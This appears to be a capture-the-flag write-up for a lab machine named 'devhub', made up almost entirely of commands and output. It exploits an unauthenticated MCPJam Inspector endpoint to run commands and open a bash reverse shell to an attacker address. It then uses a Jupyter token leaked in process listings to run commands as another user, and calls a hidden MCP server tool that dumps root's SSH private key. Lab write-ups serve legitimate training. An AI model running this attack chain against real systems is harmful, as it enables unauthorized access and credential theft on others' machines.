Enumeration
$ nmap -sC -sV -p- --open -Pn 10.129.x.x
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx (redirects to http://devhub.htb/)
6274/tcp open unknown
Port 6274 is MCPJam Inspector, a web UI for testing Model Context Protocol servers. The /api/mcp/connect endpoint accepts a serverConfig with type: stdio, which spawns the supplied command directly with no authentication.
$ curl -s http://10.129.x.x:6274/api/mcp/connect -X POST \
-H "Content-Type: application/json" \
-d '{"serverId":"test","serverName":"test","serverConfig":{"type":"stdio","command":"id","args":[]}}'
Foothold
$ nc -lvnp 4444
$ curl -s -X POST http://10.129.x.x:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverId":"x","serverName":"x",
"serverConfig":{
"type":"stdio",
"command":"bash",
"args":["-c","bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"]
}
}'
mcp-dev@devhub:~$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
Privilege Escalation
mcp-dev → analyst
mcp-dev@devhub:~$ ss -tlnp
LISTEN 0 127.0.0.1:8888
LISTEN 0 127.0.0.1:5000
ps aux leaks the Jupyter token in plaintext:
analyst 1060 ... jupyter-lab --ip=127.0.0.1 --port=8888 \
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
Create a terminal session via the Jupyter REST API and run commands as analyst:
$ curl -s -X POST "http://127.0.0.1:8888/api/terminals" \
-H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json"
{"name": "1"}
Connect to /terminals/websocket/1 and send ["stdin", "cat /home/analyst/user.txt\r\n"] to retrieve the user flag.
analyst → root
The OPSMCP service on port 5000 runs as root. Its source is readable by analyst:
analyst@devhub:~$ cat /opt/opsmcp/server.py | grep -A2 'VALID_API_KEY'
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
An undocumented ops._admin_dump tool reads /root/.ssh/id_rsa and returns it:
analyst@devhub:~$ curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
{"root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----..."}
$ chmod 600 root_key.pem
$ ssh -i root_key.pem root@10.129.x.x
root@devhub:~# cat /root/root.txt
<REDACTED>
// Discussion